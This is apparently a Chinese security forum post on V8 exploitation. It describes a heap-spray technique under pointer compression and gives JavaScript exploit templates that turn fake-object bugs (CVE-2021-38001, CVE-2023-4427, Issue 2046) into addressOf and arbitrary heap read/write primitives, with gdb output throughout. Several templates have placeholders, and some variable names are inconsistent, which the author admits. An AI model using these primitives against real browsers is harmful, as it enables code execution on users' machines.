前言
这个利用方式是我在 Tokameine
✌的一篇文章中看到的,这里给出链接
看了之后感觉比较通用,于是赶紧去适配了下之前我复现过但是没有写出 exp
的漏洞(之所以没有写出 exp
,就是因为伪造对象的地址非常不稳定),然后发现基本上都可以套用一个模板(毕竟差不多都是一样利用原语的漏洞),所以在此作下记录并将这种利用方式总结一下
然后先叠个 buff
,由于写这篇文章的时候脑袋晕晕的,所以会出现一些错误(自己也感觉到了,但是不想改了),所以如果发现错误或者不严谨的地方,希望读者可以雅正
通用堆喷技术
指针压缩下的通用堆喷技术,效果为:获取一个低 4 字节固定的对象
感觉利用堆分配特性也行
先来看下 V8
中堆块管理结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 0x000020e000000000 0x000020e00014e000 0x0000000000000000 r-x
0x000020e00014e000 0x000020e000180000 0x0000000000000000 ---
0x000020e000180000 0x000020e000183000 0x0000000000000000 rw-
0x000020e000183000 0x000020e000184000 0x0000000000000000 ---
0x000020e000184000 0x000020e00019a000 0x0000000000000000 r-x
0x000020e00019a000 0x000020e0001bf000 0x0000000000000000 ---
0x000020e0001bf000 0x000020e008000000 0x0000000000000000 ---
0x000020e008000000 0x000020e00802a000 0x0000000000000000 r--
0x000020e00802a000 0x000020e008040000 0x0000000000000000 ---
0x000020e008040000 0x000020e00814d000 0x0000000000000000 rw-
0x000020e00814d000 0x000020e008180000 0x0000000000000000 ---
0x000020e008180000 0x000020e008183000 0x0000000000000000 rw-
0x000020e008183000 0x000020e0081c0000 0x0000000000000000 ---
0x000020e0081c0000 0x000020e008240000 0x0000000000000000 rw-
0x000020e008240000 0x000020e100000000 0x0000000000000000 ---
|
一般而言,普通对象(Array/JSObject
)都分配在 rw-
页面上,我们来看下最后一个堆块的信息:
在堆块页面的起始部分,有一段空间是用来存储堆块的元信息的,在 V8
的堆结构中有 0x2118
字节用来存储堆结构相关信息
1 2 3 4 5 6 7 8 9 | gef➤ x /16gx 0x000020e0081c0000
0x20e0081c0000: 0x0000000000040000 0x0000000000000004
0x20e0081c0010: 0x000055af1526b0f8 0x000020e0081c2118
0x20e0081c0020: 0x000020e008200000 0x000000000003dee8
0x20e0081c0030: 0x0000000000000000 0x0000000000002118
0x20e0081c0040: 0x000055af152ec570 0x000055af1524fef0
0x20e0081c0050: 0x000020e0081c0000 0x0000000000040000
0x20e0081c0060: 0x000055af152ea320 0x0000000000000000
0x20e0081c0070: 0xffffffffffffffff 0x0000000000000000
|
堆块相关结构如下:
1 2 3 4 5 | 0x20e0081c0000: size = 0x40000
0x20e0081c0018: 堆的起始地址为0x000020e0081c2118,
0x20e0081c0020: 堆指针,表示该堆已经被使用到哪了,即现在堆指针指向0x000020e008200000
0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000
==> 0x000020e0081c2118+0x3dee8 = 0x20e008200000
|
而该 rw-
段的大小为 0x80000
,所以紧接着后面还有其它堆块:
gef➤ x/16gx 0x000020e0081c0000+0x40000
0x20e008200000: 0x0000000000040000 0x0000000000000004
0x20e008200010: 0x000055af1526b0f8 0x000020e008202118
0x20e008200020: 0x000020e008240000 0x000000000003dee8
0x20e008200030: 0x0000000000000000 0x0000000000002118
0x20e008200040: 0x000055af152ecbd0 0x000055af1524fef0
0x20e008200050: 0x000020e008200000 0x0000000000040000
0x20e008200060: 0x000055af152f9ee0 0x0000000000000000
0x20e008200070: 0xffffffffffffffff 0x0000000000000000
结构同上,所以 0x000020e0081c0000 0x000020e008240000 0x0000000000000000 rw-
内存区域由两个大小为 0x40000
的 v8的
堆组成
如果这个时候,我申请一个 0xf700
大小的数组,在新版 v8
中,一个地址4字节,那么就是需要 0xf700 * 4 + 0x2118 = 0x3fd18
,再对齐一下,那么就是0x40000
大小的堆,我们来测试一下:
1 2 3 | a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();
|
a
的信息输出如下:
1 2 3 4 5 6 7 8 9 10 11 12 | DebugPrint: 0xe1008049939: [JSArray]
- map: 0x0e1008203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x0e10081cc0e9 <JSArray[0]>
- elements: 0x0e1008242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
- length: 63232
- properties: 0x0e100800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe10080048f1: [String] in ReadOnlySpace:
}
- elements: 0x0e1008242119 <FixedArray[63232]> {
0-63231: 0x0e100800242d <the_hole>
}
|
注意这里 elements
指针 为 0x0e1008242119
,此时查看堆布局:
1 2 3 4 5 6 | gef➤ vmmap 0x0e1008242119
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00000e10081c0000 0x00000e1008280000 0x0000000000000000 rw-
gef➤ p /x 0x00000e1008280000-0x00000e10081c0000
$2 = 0xc0000
|
elements
字段地址为0x00000e10081c0000+ 0x80000 + 0x2118 + 0x1 = 0x0e1008242119
。在启动指针压缩时,在堆中储存的地址为4字节,而根据上述堆的特性,我们能确定低2字节为 0x2119
,而一般情况下其高2字节也是不变的,所以这里其实4字节都已经确认的
还有一个比较重要的点是,该 FixedArray
是一个大对象,其是不受 gc
影响的,所以这里的效果就是获取一个已经地址的内容可控的内存区域
利用模板
该方法主要配合上述的通用堆喷技术进行利用
前提:
针对漏洞类型:
- 任意地址对象伪造
- 特定地址对象伪造
- 只能修改
Array
对象的 element
字段(这里包含同时修改 len
和 element
的情况)
效果:
- 实现
4GB
堆内的任意地址读写
(后续的利用就看情况了,如何没有沙箱则打 ArrayBuffer
就行了,如果有沙箱就想办法绕过沙箱,比较通用的绕过沙箱的方式就是利用 JIT
构造立即数 shellocde
了)
缺点:
这里的漏洞类型只是一个泛称,比如:如何进行任意地址对象伪造需要根据具体的漏洞来看,这里讲的是我们已经构造了一个任意地址对象伪造的原语,接下来该如何进行利用
针对上面的漏洞类型,笔者也就一些 CVE
完成了利用,我发在 CSDN
上了,感兴趣可以点击链接查看
任意地址对象伪造 比如:CVE-2021-38001、CVE-2023-4427
对于该漏洞,提出以下问题:
- 在哪里伪造对象?要求稳定,比如你在
addr
这个位置伪造了一个对象,那么这块内存就不能被释放或者内存的内容不能被破坏
- 如何进行伪造?伪造一个对象,比如
JSArray
,其基本字段有 map/property/len/element
,这里的 property/len
好说,关键是 map/element
该指向何处
通过之前讲的通用堆喷技术,我们可以获得一块地址稳定的 element
区域,这个大对象的地址是已知的,并且不受 gc
的影响,而且其内容还是可控的,所以在这里伪造再合适不过
1 2 3 4 5 | var spray_array = new Array(0xf700).fill(1.1);
var element_start_addr = ?;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
|
然后就是考虑如何去伪造 map
,这里需要知道的时在取对象时,会检查 map
,但是只是检查其类型,所以这里我们只需要伪造其前 16 字节即可,这里调试即可知道,前16字节基本是不变的
这里可能得把 map
的前8字节改为一个可以访问的地址
1 2 3 | spray_array[(map_addr -data_start_addr) / 8] = u64_to_f64(0x1604040408002119n);
spray_array[(map_addr -data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000834n);
|
然后是伪造对象,map
字段已经伪造好了,那么 element
该如何伪造呢?这里我们在利用上述通用堆喷技术得到一个地址固定的 element
区域(理由后面你就懂了)
1 2 3 4 5 | var leak_object_array = new Array(0xf700).fill({});
var leak_element_start_addr = ?;
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);
|
此时我们就在 fake_object_array_addr
地址处伪造好了一个 JSArray
,其是 double
类型的,并且其 element
指向 leak_element_start_addr
,我们将其称作 fake_object
然后通过任意地址对象伪造漏洞获取这个对象 fake_object
1 | var fake_object = trigger();
|
此时就可以构造 addressOf
原语了:
leak_object_array
和 fake_object
指向的是同一个 element
,而 leak_object_array
将其解析为 element
类型数组,而 fake_object
将其解析为 double
数组
1 2 3 4 | function addressOf(obj) {
leak_object_array[0] = obj;
return get_fl(fake_object[0]);
}
|
然后就是先想办法实现堆内的任意地址读写了,嗯,其实很简单,因为我们的 fake_object
是完全伪造在 spray_array
数组的 element
中的,所以我们可以直接通过 spray_array
修改 fake_object
的 element
从而就可以实现堆内的任意地址读写了(当然了,不完全任意,因为 element
要减 8,所以最开始的 8 字节无法读写)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | function arb_read_cage(addr) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
return f64_to_u64(fake_object[0]);
}
function arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffff);
}
function arb_write_full_cage(addr, val) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
fake_object[0] = u64_to_f64(val);
}
|
所以最后模板如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | var spray_array = new Array(0xf700).fill(1.1);
var leak_object_array = new Array(0xf700).fill({});
var element_start_addr = ?;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var leak_element_start_addr = ?;
spray_array[(map_addr -data_start_addr) / 8] = u64_to_f64(?);
spray_array[(map_addr -data_start_addr) / 8 + 1] = u64_to_f64(?);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);
var fake_object = trigger();
function addressOf(obj) {
leak_object_array[0] = obj;
return get_fl(fake_object[0]);
}
function arb_read_cage(addr) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
return f64_to_u64(fake_object[0]);
}
function arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffff);
}
function arb_write_full_cage(addr, val) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
fake_object[0] = u64_to_f64(val);
}
|
只能修改 JSArray
对象的 element
字段 比如 Issue 2046
这里只能修改 JSArray
对象的 element
字段其实不准确,这里是因为有些漏洞,我们必须写入 8 字节,而在指针压缩下 len|element
一起构成了 8 字节,所以修改 len
的同时会修改 element
,并且还无法错位写 element
,上面的示例漏洞就是这样的
这里其实可以将 element
修改为 1
,然后选几个区域进行爆破,但是成功率你懂的,反正我没成功过
这里就直接说结论了,这里被修改 element
字段的对象笔者称作 victim_array
先利用通用堆喷技术创建一个 spray_array
,这里这里 spray_array
的类型为 element
1 2 3 4 5 6 | var spray_array = new Array(0xf700).fill({});
var element_start_addr = ?;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var save_fake_object_array_addr = fake_object_array_addr + 0x200;
|
然后利用漏洞修改 victim_array
的 element
字段,使其指向 element_start_addr
:
1 2 | var victim_array = [1.1, 1.1, 1.1, 1.1];
|
此时就可以构造 addressOf
原语了
spray_array
和 victim_array
指向的是同一个 element
,而 spray_array
将其解析为 element
类型数组,而 victim_array
将其解析为 double
数组
1 2 3 4 | function addressOf(obj) {
spray_array[0] = obj;
return get_fl(victim_array[0]);
}
|
然后就考虑如何进行堆上的任意地址读写了,很简单其实,还是利用 spray_array
和 victim_array
的 element
指向的是同一块内存,所以利用 victim_array
在 element
上伪造一个对象,然后 spray_array
直接读取就获取这个伪造的对象了
这里还可以更简单的,笔者搞复杂了,但是不管了
1 2 3 4 5 | victim_array[(map_addr - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, ?);
victim_array[(map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(?);
victim_array[(fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);
victim_array[(save_fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
|
然后利用 spray_array
取出该伪造的对象:
1 | var fake_object = spray_array[(save_fake_object_addr - data_element_start_addr) / 4];
|
后面的堆内任意地址读写就比较简单了,直接利用 victim_array
修改 fake_object
的 element
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | function arb_read_cage(addr) {
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
return f64_to_u64(fake_object[0]);
}
function arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffffn);
}
function arb_write_full_cage(addr, val) {
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
fake_object[0] = u64_to_f64(val);
}
|
模板如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | var spray_array = new Array(0xf700).fill({});
var element_start_addr = ?;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var save_fake_object_array_addr = fake_object_array_addr + 0x200;
victim_array[(map_addr - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, ?);
victim_array[(map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(?);
victim_array[(fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);
victim_array[(save_fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var victim_array = [1.1, 1.1, 1.1, 1.1];
function addressOf(obj) {
spray_array[0] = obj;
return get_fl(victim_array[0]);
}
var fake_object = spray_array[(save_fake_object_addr - data_element_start_addr) / 4];
function arb_read_cage(addr) {
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
return f64_to_u64(fake_object[0]);
}
function arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffffn);
}
function arb_write_full_cage(addr, val) {
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
fake_object[0] = u64_to_f64(val);
}
|
特定地址对象伪造 比如 CVE-2022-1310
这个其实跟二个差不多,单独拿出来,是因为写这个 exp
时,我遇到了很多玄学问题,如果劫持 backing_stroe
后无法往 rwx
页面写 shellcode
所以这里就不写了,读者可以尝试复现上面的 CVE
,毕竟自己动手才有深刻的印象
总结
总的来说,笔者感觉这个方法还是比较好用的,笔者也用该方法完成了之前没有完成的利用(各种玄学原因),但是其需要版本适配,所以并不是特别完美。
参考
https://bbs.kanxue.com/thread-273709.htm
最后于 7小时前
被XiaozaYa编辑
,原因: